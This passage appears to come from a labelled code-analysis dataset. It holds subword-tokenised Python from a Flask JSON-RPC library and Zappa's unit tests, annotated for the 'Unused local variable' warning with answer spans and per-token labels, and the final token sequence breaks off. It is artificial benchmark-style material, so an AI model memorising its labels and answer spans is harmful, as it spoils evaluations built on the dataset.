"0", "}(", "{", "1", "})'_", "._", "format_", "(_", "sig_", ",_", "',", " ", "'_", "._", "join_", "(_", "types_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "sig_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "site", "\\u", "api_", "(_", "site_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "wrapper_", "(_", "method_", "=_", "''_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response", "\\u", "obj_", ",_", "status", "\\u", "code_", "=_", "site_", "._", "dispatch_", "(_", "request_", ",_", "method_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "response", "\\u", "obj_", ",_", "Response_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "response", "\\u", "obj_", ",_", "response", "\\u", "obj_", "._", "status", "\\u", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "is", "\\u", "batch_", "=_", "type_", "(_", "response", "\\u", "obj_", ")_", "is_", "list_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "current", "\\u", "app_", "._", "config_", "[_", "'", "DEBU", "G", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logging_", "._", "debug_", "(_", "'", "request", ":", " ", "%", "s", "'_", ",_", "extract", "\\u", "raw", "\\u", "data\\u", "request_", "(_", "request_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logging_", "._", "debug_", "(_", "'", "response", ":", " ", "%", "s", ",", " ", "%", "s", "'_", ",_", "status", "\\u", "code_", ",_", "response", "\\u", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "json", "if", "y", "\\u", "status", "\\u", "code_", "(_", "status", "\\u", "code_", ",_", "response", "\\u", "obj_", ",_", "is", "\\u", "batch_", "=_", "is", "\\u", "batch_", ")_", ",_", "status", "\\u", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "wrapper_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "JSONR", "PC_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "JSONR", "PC_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "app_", "=_", "None_", ",_", "service", "\\u", "url_", "=_", "'/", "api", "'_", ",_", "auth", "\\u", "backend_", "=_", "authenticate_", ",_", "site_", "=_", "default", "\\u", "site_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "enable", "\\u", "web", "\\u", "brow", "sab", "le", "\\u", "api_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "service", "\\u", "url_", "=_", "service", "\\u", "url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "browse", "\\u", "url_", "=_", "self_", "._", "\\u", "make", "\\u", "browse", "\\u", "url_", "(_", "service", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "enable", "\\u", "web", "\\u", "brow", "sab", "le", "\\u", "api_", "=_", "enable", "\\u", "web", "\\u", "brow", "sab", "le", "\\u", "api_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "auth", "\\u", "backend_", "=_", "auth", "\\u", "backend_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "site_", "=_", "site_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "site", "\\u", "api_", "=_", "\\u", "site", "\\u", "api_", "(_", "site_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "app_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "app_", "=_", "app_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "init", "\\u", "app_", "(_", "self_", "._", "app_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "app_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "JSONR", "PC_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "unique", "\\u", "name_", "(_", "self_", ",_", "suffix_", "=_", "''_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "st_", "=_", "'.'_", "._", "join_", "(_", "(_", "self_", "._", "service", "\\u", "url_", "+_", "suffix_", ")_", "._", "split_", "(_", "'/'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "st_", "=_", "st_", "[_", "1_", ":_", ":_", "]_", "if_", "st_", "._", "startswith_", "(_", "'.'_", ")_", "else_", "st_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "st_", "=_", "st_", "[_", "0_", ":_", "-_", "1_", "]_", "if_", "st_", "._", "endswith_", "(_", "'.'_", ")_", "else_", "st_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "st_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "JSONR", "PC_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "make", "\\u", "browse", "\\u", "url_", "(_", "self_", ",_", "service", "\\u", "url_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "service", "\\u", "url_", "+_", "'/", "browse", "'_", "if_", "not_", "service", "\\u", "url_", "._", "endswith_", "(_", "'/'_", ")_", "else_", "service", "\\u", "url_", "+_", "'", "browse", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "JSONR", "PC_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "register", "\\u", "browse_", "(_", "self_", ",_", "app_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "app_", "._", "config_", "[_", "'", "DEBU", "G", "'_", "]_", "or_", "self_", "._", "enable", "\\u", "web", "\\u", "brow", "sab", "le", "\\u", "api_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "enable", "\\u", "web", "\\u", "brow", "sab", "le", "\\u", "api_", "(_", "app_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "JSONR", "PC_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "enable", "\\u", "web", "\\u", "brow", "sab", "le", "\\u", "api_", "(_", "self_", ",_", "app_", ",_", "url", "\\u", "prefix_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "fla", "sk", "\\u", "jsonrpc", "_", "._", "views_", "import_", "browse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "url", "\\u", "prefix_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url", "\\u", "prefix_", "=_", "self_", "._", "browse", "\\u", "url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "browse", "\\u", "url_", "=_", "url", "\\u", "prefix_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app_", "._", "register", "\\u", "blueprint_", "(_", "browse_", "._", "mod_", ",_", "url", "\\u", "prefix_", "=_", "url", "\\u", "prefix_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "jsonrpc", "\\u", "site", "\\u", "name_", "=_", "self_", "._", "\\u", "unique", "\\u", "name_", "(_", ")_", ",_", "jsonrpc", "\\u", "site_", "=_", "self_", "._", "site_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "JSONR", "PC_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "init", "\\u", "app_", "(_", "self_", ",_", "app_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "register", "\\u", "browse_", "(_", "app_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app_", "._", "add", "\\u", "url", "\\u", "rule_", "(_", "self_", "._", "service", "\\u", "url_", ",_", "self_", "._", "\\u", "unique", "\\u", "name_", "(_", ")_", ",_", "self_", "._", "site", "\\u", "api_", ",_", "methods_", "=_", "[_", "'", "POST", "'_", ",_", "'", "OPTION", "S", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app_", "._", "add", "\\u", "url", "\\u", "rule_", "(_", "self_", "._", "service", "\\u", "url_", "+_", "'/", "<", "method", ">'_", ",_", "self_", "._", "\\u", "unique", "\\u", "name_", "(_", "'/", "<", "method", ">'_", ")_", ",_", "self_", "._", "site", "\\u", "api_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "methods_", "=_", "[_", "'", "GET", "'_", ",_", "'", "OPTION", "S", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "JSONR", "PC_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "register", "\\u", "blueprint_", "(_", "self_", ",_", "blueprint_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "blueprint_", "._", "add", "\\u", "url", "\\u", "rule_", "(_", "self_", "._", "service", "\\u", "url_", ",_", "''_", ",_", "self_", "._", "site", "\\u", "api_", ",_", "methods_", "=_", "[_", "'", "POST", "'_", ",_", "'", "OPTION", "S", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "blueprint_", "._", "add", "\\u", "url", "\\u", "rule_", "(_", "self_", "._", "service", "\\u", "url_", "+_", "'/", "<", "method", ">'_", ",_", "''_", ",_", "self_", "._", "site", "\\u", "api_", ",_", "methods_", "=_", "[_", "'", "GET", "'_", ",_", "'", "OPTION", "S", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "JSONR", "PC_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "method_", "(_", "self_", ",_", "name_", ",_", "authenticated_", "=_", "False_", ",_", "safe_", "=_", "False_", ",_", "validate_", "=_", "False_", ",_", "**_", "options_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "decorator_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "arg", "\\u", "names_", "=_", "getargs", "pec_", "(_", "f_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X_", "=_", "{_", "'", "name", "'_", ":_", "name_", ",_", "'", "arg", "\\u", "names", "'_", ":_", "arg", "\\u", "names_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "authenticated_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "this", " ", "is", " ", "an", " ", "assumption", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "X_", "[_", "'", "arg", "\\u", "names", "'_", "]_", "=_", "[_", "'", "user", "name", "'_", ",_", "'", "password", "'_", "]_", "+_", "X_", "[_", "'", "arg", "\\u", "names", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X_", "[_", "'", "name", "'_", "]_", "=_", "\\u", "inject", "\\u", "args_", "(_", "X_", "[_", "'", "name", "'_", "]_", ",_", "(_", "'", "String", "'_", ",_", "'", "String", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "f_", "=_", "self_", "._", "auth", "\\u", "backend_", "(_", "f_", ",_", "authenticated_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "f_", "=_", "f_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "method_", ",_", "arg", "\\u", "types_", ",_", "return", "\\u", "type_", "=_", "\\u", "parse", "\\u", "sig_", "(_", "X_", "[_", "'", "name", "'_", "]_", ",_", "X_", "[_", "'", "arg", "\\u", "names", "'_", "]_", ",_", "validate_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "f_", "._", "json", "\\u", "args_", "=_", "X_", "[_", "'", "arg", "\\u", "names", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "f_", "._", "json", "\\u", "arg", "\\u", "types_", "=_", "arg", "\\u", "types_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "f_", "._", "json", "\\u", "return", "\\u", "type_", "=_", "return", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "f_", "._", "json", "\\u", "method_", "=_", "method_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "f_", "._", "json", "\\u", "safe_", "=_", "safe_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "f_", "._", "json", "\\u", "sig_", "=_", "X_", "[_", "'", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "f_", "._", "json", "\\u", "validate_", "=_", "validate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "site_", "._", "register_", "(_", "method_", ",_", "\\u", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u", "f_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "decorator_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
Miserlou/Zappa/tests/tests.py
[ { "content": " @placebo_session\n def test_create_lambda_function(self, session):\n bucket_name = 'lmbda'\n zip_path = 'Spheres-dev-1454694878.zip'\n\n z = Zappa(session)\n z.aws_region = 'us-east-1'\n z.load_credentials(session)\n z.credentials_arn = 'arn:aws:iam::12345:role/ZappaLambdaExecution'\n\n arn = z.create_lambda_function(\n bucket=bucket_name, \n s3_key=zip_path, \n function_name='test_lmbda_function55', \n handler='runme.lambda_handler'\n )\n\n arn = z.update_lambda_function(\n bucket=bucket_name, \n s3_key=zip_path, \n function_name='test_lmbda_function55', \n )", "metadata": "root.TestZappa.test_create_lambda_function", "header": "['class', 'TestZappa', '(', 'unittest', '.', 'TestCase', ')', ':', '___NEWLINE___', '##', '___NL___', '# Sanity Tests', '___NL___', '##', '___NL___', '___EOS___']", "index": 101 }, { "content": " @placebo_session\n def test_rollback_lambda_function_version(self, session):\n z = Zappa(session)\n z.credentials_arn = 'arn:aws:iam::724336686645:role/ZappaLambdaExecution'\n\n function_name = 'django-helloworld-unicode'\n too_many_versions = z.rollback_lambda_function_version(function_name, 99999)\n self.assertFalse(too_many_versions)\n\n function_arn = z.rollback_lambda_function_version(function_name, 1)", "metadata": "root.TestZappa.test_rollback_lambda_function_version", "header": "['class', 'TestZappa', '(', 'unittest', '.', 'TestCase', ')', ':', '___NEWLINE___', '##', '___NL___', '# Sanity Tests', '___NL___', '##', '___NL___', '___EOS___']", "index": 124 }, { "content": " @placebo_session\n def test_invoke_lambda_function(self, session):\n z = Zappa(session)\n z.credentials_arn = 'arn:aws:iam::724336686645:role/ZappaLambdaExecution'\n\n function_name = 'django-helloworld-unicode'\n payload = '{\"event\": \"hello\"}'\n response = z.invoke_lambda_function(function_name, payload)", "metadata": "root.TestZappa.test_invoke_lambda_function", "header": "['class', 'TestZappa', '(', 'unittest', '.', 'TestCase', ')', ':', '___NEWLINE___', '##', '___NL___', '# Sanity Tests', '___NL___', '##', '___NL___', '___EOS___']", "index": 135 }, { "content": " @placebo_session\n def test_deploy_api_gateway(self, session):\n z = Zappa(session)\n z.credentials_arn = 'arn:aws:iam::12345:role/ZappaLambdaExecution'\n\n z.parameter_depth = 1\n z.integration_response_codes = [200]\n z.method_response_codes = [200]\n z.http_methods = ['GET']\n\n lambda_arn = 'arn:aws:lambda:us-east-1:12345:function:django-helloworld-unicode'\n api_id = z.create_api_gateway_routes(lambda_arn)\n endpoint_url = z.deploy_api_gateway(api_id, \"test_stage\")", "metadata": "root.TestZappa.test_deploy_api_gateway", "header": "['class', 'TestZappa', '(', 'unittest', '.', 'TestCase', ')', ':', '___NEWLINE___', '##', '___NL___', '# Sanity Tests', '___NL___', '##', '___NL___', '___EOS___']", "index": 163 }, { "content": " @placebo_session\n def test_get_api_url(self, session):\n z = Zappa(session)\n z.credentials_arn = 'arn:aws:iam::724336686645:role/ZappaLambdaExecution'\n url = z.get_api_url('Spheres-demonstration')", "metadata": "root.TestZappa.test_get_api_url", "header": "['class', 'TestZappa', '(', 'unittest', '.', 'TestCase', ')', ':', '___NEWLINE___', '##', '___NL___', '# Sanity Tests', '___NL___', '##', '___NL___', '___EOS___']", "index": 177 }, { "content": " def test_wsgi_event(self):\n\n event = {\n \"body\": {},\n \"headers\": {\n \"Via\": \"1.1 e604e934e9195aaf3e36195adbcb3e18.cloudfront.net (CloudFront)\",\n \"Accept-Language\": \"en-US,en;q=0.5\",\n \"Accept-Encoding\": \"gzip\",\n \"CloudFront-Is-SmartTV-Viewer\": \"false\",\n \"CloudFront-Forwarded-Proto\": \"https\",\n \"X-Forwarded-For\": \"109.81.209.118, 216.137.58.43\",\n \"CloudFront-Viewer-Country\": \"CZ\",\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\",\n \"X-Forwarded-Proto\": \"https\",\n \"X-Amz-Cf-Id\": \"LZeP_TZxBgkDt56slNUr_H9CHu1Us5cqhmRSswOh1_3dEGpks5uW-g==\",\n \"CloudFront-Is-Tablet-Viewer\": \"false\",\n \"X-Forwarded-Port\": \"443\",\n \"CloudFront-Is-Mobile-Viewer\": \"false\",\n \"CloudFront-Is-Desktop-Viewer\": \"true\",\n \"Content-Type\": \"application/json\"\n },\n \"params\": {\n \"parameter_1\": \"asdf1\",\n \"parameter_2\": \"asdf2\",\n },\n \"method\": \"POST\",\n \"query\": {\n \"dead\": \"beef\"\n }\n }\n request = create_wsgi_request(event)", "metadata": "root.TestZappa.test_wsgi_event", "header": "['class', 'TestZappa', '(', 'unittest', '.', 'TestCase', ')', ':', '___NEWLINE___', '##', '___NL___', '# Sanity Tests', '___NL___', '##', '___NL___', '___EOS___']", "index": 246 }, { "content": " def test_wsgi_logging(self):\n event = {\n \"body\": {},\n \"headers\": {},\n \"params\": {\n \"parameter_1\": \"asdf1\",\n \"parameter_2\": \"asdf2\",\n },\n \"method\": \"GET\",\n \"query\": {}\n }\n environ = create_wsgi_request(event, trailing_slash=False)\n response_tuple = collections.namedtuple('Response', ['status_code', 'content'])\n response = response_tuple(200, 'hello')\n le = common_log(environ, response, response_time=True)\n le = common_log(environ, response, response_time=False)", "metadata": "root.TestZappa.test_wsgi_logging", "header": "['class', 'TestZappa', '(', 'unittest', '.', 'TestCase', ')', ':', '___NEWLINE___', '##', '___NL___', '# Sanity Tests', '___NL___', '##', '___NL___', '___EOS___']", "index": 315 }, { "content": " def test_wsgi_multipart(self):\n event = {u'body': u'LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS03Njk1MjI4NDg0Njc4MTc2NTgwNjMwOTYxDQpDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9Im15c3RyaW5nIg0KDQpkZGQNCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tNzY5NTIyODQ4NDY3ODE3NjU4MDYzMDk2MS0tDQo=', u'headers': {u'Content-Type': u'multipart/form-data; boundary=---------------------------7695228484678176580630961', u'Via': u'1.1 38205a04d96d60185e88658d3185ccee.cloudfront.net (CloudFront)', u'Accept-Language': u'en-US,en;q=0.5', u'Accept-Encoding': u'gzip, deflate, br', u'CloudFront-Is-SmartTV-Viewer': u'false', u'CloudFront-Forwarded-Proto': u'https', u'X-Forwarded-For': u'71.231.27.57, 104.246.180.51', u'CloudFront-Viewer-Country': u'US', u'Accept': u'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', u'User-Agent': u'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0) Gecko/20100101 Firefox/45.0', u'Host': u'xo2z7zafjh.execute-api.us-east-1.amazonaws.com', u'X-Forwarded-Proto': u'https', u'Cookie': u'zappa=AQ4', u'CloudFront-Is-Tablet-Viewer': u'false', u'X-Forwarded-Port': u'443', u'Referer': u'https://xo8z7zafjh.execute-api.us-east-1.amazonaws.com/former/post', u'CloudFront-Is-Mobile-Viewer': u'false', u'X-Amz-Cf-Id': u'31zxcUcVyUxBOMk320yh5NOhihn5knqrlYQYpGGyOngKKwJb0J0BAQ==', u'CloudFront-Is-Desktop-Viewer': u'true'}, u'params': {u'parameter_1': u'post'}, u'method': u'POST', u'query': {}}\n environ = create_wsgi_request(event, trailing_slash=False)\n response_tuple = collections.namedtuple('Response', ['status_code', 'content'])\n response = response_tuple(200, 'hello')", "metadata": "root.TestZappa.test_wsgi_multipart", "header": "['class', 'TestZappa', '(', 'unittest', '.', 'TestCase', ')', ':', '___NEWLINE___', '##', '___NL___', '# Sanity Tests', '___NL___', '##', '___NL___', '___EOS___']", "index": 332 }, { "content": " def test_cli_sanity(self):\n zappa_cli = ZappaCLI()\n return", "metadata": "root.TestZappa.test_cli_sanity", "header": "['class', 'TestZappa', '(', 'unittest', '.', 'TestCase', ')', ':', '___NEWLINE___', '##', '___NL___', '# Sanity Tests', '___NL___', '##', '___NL___', '___EOS___']", "index": 360 } ]
[ { "span": "arn ", "start_line": 118, "start_column": 8, "end_line": 118, "end_column": 11 }, { "span": "function_arn ", "start_line": 133, "start_column": 8, "end_line": 133, "end_column": 20 }, { "span": "response ", "start_line": 142, "start_column": 8, "end_line": 142, "end_column": 16 }, { "span": "endpoint_url ", "start_line": 175, "start_column": 8, "end_line": 175, "end_column": 20 }, { "span": "url ", "start_line": 181, "start_column": 8, "end_line": 181, "end_column": 11 }, { "span": "request ", "start_line": 276, "start_column": 8, "end_line": 276, "end_column": 15 }, { "span": "le ", "start_line": 330, "start_column": 8, "end_line": 330, "end_column": 10 }, { "span": "environ ", "start_line": 334, "start_column": 8, "end_line": 334, "end_column": 15 }, { "span": "response ", "start_line": 336, "start_column": 8, "end_line": 336, "end_column": 16 }, { "span": "zappa_cli ", "start_line": 361, "start_column": 8, "end_line": 361, "end_column": 17 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Test", "Za", "ppa", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sanit", "y", " ", "Tests_", "\\u\\u\\uNL\\u\\u\\u_", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "place", "bo", "\\u", "session_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "lambda", "\\u", "function_", "(_", "self_", ",_", "session_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bucket", "\\u", "name_", "=_", "'", "lmb", "da", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "zip", "\\u", "path_", "=_", "'", "Sphere", "s", "-", "dev", "-1", "454", "694", "878", ".", "zip", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "z_", "=_", "Za", "ppa", "_", "(_", "session_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "z_", "._", "aws", "\\u", "region_", "=_", "'", "us", "-", "east", "-1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "z_", "._", "load", "\\u", "credentials_", "(_", "session_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "z_", "._", "cred", "ential", "s", "\\u", "arn_", "=_", "'", "arn", ":", "aws", ":", "iam", "::", "12345", ":", "role", 